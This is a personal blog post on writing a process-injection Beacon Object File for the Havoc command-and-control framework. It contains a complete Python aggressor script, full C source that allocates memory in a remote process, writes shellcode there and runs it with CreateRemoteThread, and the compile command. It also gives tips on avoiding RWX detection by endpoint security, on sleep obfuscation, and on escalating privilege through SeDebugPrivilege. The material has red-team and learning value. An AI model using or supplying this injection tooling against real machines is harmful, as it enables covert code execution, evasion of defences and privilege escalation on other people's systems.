www.zakodachi.dev

my notes

View on GitHub

back to blog

Process Injection

This blog will outline a simple process injection in a remote process. The windows API that will be used are the following:

Windows API Usage
Openprocess Will be used to open the handle of target process.
VirtualAllocEx Will be used for allocating memory in the target process, allocated memory size will depend on the shellcode size.
WriteProcessMemory Writes the shellcode in the allocated memory address.
VirtualProtectEx Will be used for changing the memory permission to read,execute (RX) instead of Read, Write, Execute (RWX).
CreateRemoteThread Will be used for creating a thread on the target process inorder to execute our shellcode.
CloseHandle Close the open handle.

When creating a BOF, I highly recommend starting with C code first. Run it to verify that it works, and then convert it into a BOF once confirmed, that it’s working convert it to BOF. This will save up some time debugging some issues on the code.

Aggressor script

This time we will start first with an aggressor script. Edit the script previously used and add the new python function.

<SNIPPED>
def run_procinj(demon_id, *args):
    
    task_id: str = None
    demon: Demon = None
    packer: Packer = Packer() 
    # Get the beacon instance
    demon = Demon(demon_id)
    binary: bytes = None #for the shellcode

    #check args for input
    if len(args) < 2:
        demon.ConsoleWrite(demon.CONSOLE_ERROR, "Not enough arguments")
        return False

    # Get shellcode path
    path = args[0]

    # Check if the shellcode path exists
    if not exists(path):
        demon.ConsoleWrite(demon.CONSOLE_ERROR, f"Shellcode not found: {path}")
        return False

    # Read the shellcode from the specified path into 'binary' variable
    with open(path, 'rb') as handle:
        binary = handle.read()

    # prints out if the input is not binary
    if not binary:
        demon.ConsoleWrite(demon.CONSOLE_ERROR, "Specified shellcode is empty")
        return False

    # Add the arguments to the packer
    packer.addbytes(binary) #shellcode
    packer.addint(int(args[1])) #target process ID

    task_id = demon.ConsoleWrite(demon.CONSOLE_TASK, f"Tasked the demon to execute process injection on the process ID: {args[1]}")
    
    #executes BOF
    demon.InlineExecute(task_id, "go", "bin/test2.o", packer.getbuffer(), False)
    #testbof procinj /home/kali/mdev/havocbof/demon.x64.bin 1992
    return task_id

<SNIPPED>
RegisterCommand(run_procinj, "testbof", "procinj", "Performs a process injection on the target process", 0, "usage: ", "4512")

BOF

When writing BOF, you often use DECLSPEC_IMPORT in function declarations like DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE) so the linker knows the function is imported from Windows DLL like (e.g., kernel32.dll, advapi32.dll). The DECLSPEC_IMPORT and the $ prefixed symbol names to ensure Beacon can resolve them at runtime. Module$Function

Why it matters for BOFs:

More information at DFR

#include <windows.h>
#include "beacon.h"

//kernel32 dll
DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);
DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);

//main function
void go(char* args, int argc){
    
    //variables
    datap parser;
    DWORD procid;
    DWORD   dwOldProtection = NULL;
    PSTR  shellcode = { 0 };
    DWORD shellcodeLength    = { 0 };
    SIZE_T  sNumberOfBytesWritten = NULL;
    HANDLE pHandle;
    HANDLE rthreadHandle;
    PVOID bufferMemoryaddr;
    DWORD tid = 0;

    //Beacon data parser
    BeaconDataParse(&parser, args, argc);
    
    //extracts the input and assign it on shellcode variable
    shellcode = BeaconDataExtract(&parser, &shellcodeLength);
    
    //assigns the target process ID
    procid = BeaconDataInt(&parser);

    //prints the target PID
    BeaconPrintf(CALLBACK_OUTPUT, "[!] Target PID: %d", procid);

    //open handle on the target process with all access (dwDesiredAccess)
    //https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
    pHandle = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, procid);
    if (!pHandle){
        BeaconPrintf(CALLBACK_OUTPUT, "[x] Failed to open process error code: %d\n", KERNEL32$GetLastError());
        return 1; //failure
    }

    //allocate enough memomry on the target process based on the shellcode length, set the memory region as read write
    bufferMemoryaddr = KERNEL32$VirtualAllocEx(pHandle, NULL, shellcodeLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!bufferMemoryaddr) {
        BeaconPrintf(CALLBACK_OUTPUT,"[x] Failed to allocate memory: %d\n", KERNEL32$GetLastError());
        return 1;
    }
    BeaconPrintf(CALLBACK_OUTPUT,"[!] memory allocated at: 0x%p\n", bufferMemoryaddr);

    //write the shellcode/payload on the allocated memory
    if (!KERNEL32$WriteProcessMemory(pHandle, bufferMemoryaddr, shellcode, shellcodeLength, &sNumberOfBytesWritten)) {
        BeaconPrintf(CALLBACK_OUTPUT,"[x] WriteProcessMemory Failed With Error : %d \n", KERNEL32$GetLastError());
        return 1;
    }

    //change the memory region of the allocated memory into read execute, so it can be executed later on
    if (!KERNEL32$VirtualProtectEx(pHandle, bufferMemoryaddr, shellcodeLength, PAGE_EXECUTE_READ, &dwOldProtection)) {
        BeaconPrintf(CALLBACK_OUTPUT,"[x] VirtualProtectEx Failed With Error : %d \n", KERNEL32$GetLastError());
        return 1;
    }

    //create a thread on the target remote process. The starting address will be the memory address of what we allocated earlier. It use LPTHREAD_START_ROUTINE to execute the thread and eventually gain a callback 
    //https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/lpthread-start-routine-function-pointer
    rthreadHandle = KERNEL32$CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferMemoryaddr, NULL, 0, &tid);
    if(!rthreadHandle){
        BeaconPrintf(CALLBACK_OUTPUT,"[x] Failed to create remote thread: %d\n", KERNEL32$GetLastError());
        return 1;
    }
    
    BeaconPrintf(CALLBACK_OUTPUT, "[!] remote thread id : %lu \n", tid);
    //close the process handle
    KERNEL32$CloseHandle(pHandle);

}

To compile just the same, use the command below.

x86_64-w64-mingw32-gcc -c src/procinj.c -w -o bin/test2.o 

Get a shell, then execute the BOF. As shown from the screenshot below it shows the memory address that has been allocated on the target process and it’s remote thread ID for debugging purpose. alt text alt text

Just a little information on how to check what was written on the memory address you can use x64dbg, attach to the target process then press ctrl + g, paste the memory address. In this screenshot I change my payload to msfvenom calc bin so it can be easier to read. As shown we can see the signatured FC 48 83 and then the calc.exe alt text

My havoc payload that I used, performs a sleep obfuscation technique with WaitForSingleObjextEx. TL;DR: Sleep obfuscation changes the memory protection from RW to RX, and then back to RW sleep obfuscation

To check what happens on sleep, use process hacker, check the target process and then go to the threads, locate the thread id. The screenshot below shows when it’s on sleep. alt text

The screenshot below shows when it’s not on sleep. As observe it’s using winHTTP library for the communication.

alt text

If you are trying to perform a process injection on a process owned by other user or a process owned by NT authority and you dont have enough privilege. This wont be possible because of access control restrictions. But if you enable SeDebugPrivilege you will be able to inject and gain the token permission level of the target process resulting into privilege escalation. alt text

I changed the VirtualAllocEx with page execute read write and comment out the VirtualProtectEx to see the difference and also without the sleep obfuscation from have. I used the metasploit calc here for POC.

As shown from the screenshot below the RWX stands out and most endpoint security solution flags this and gets highly detected, so the better approach is to change it to RX. If you change it to Read it wont be executed. Clicking on the RWX this shows what was written on that memory and it shows the metasploit calc. alt text

References

back to blog